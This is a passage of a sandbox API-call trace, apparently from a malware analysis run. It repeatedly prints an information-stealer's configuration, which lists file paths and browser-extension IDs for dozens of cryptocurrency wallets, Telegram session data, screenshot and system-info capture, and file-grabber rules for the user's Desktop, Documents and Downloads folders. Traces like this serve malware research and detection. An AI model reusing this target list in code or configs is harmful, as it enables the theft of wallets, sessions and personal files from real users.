Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.636] lstrlenW (lpString="wlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4340 [0259.636] lstrlenW (lpString="wlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4340 [0259.636] LocalAlloc (uFlags=0x40, uBytes=0x21e8) returned 0x6b9720 [0259.636] lstrlenW (lpString="wlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4340 [0259.636] LocalAlloc (uFlags=0x40, uBytes=0x21e8) returned 0x6bb910 [0259.637] lstrlenW (lpString="wlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension 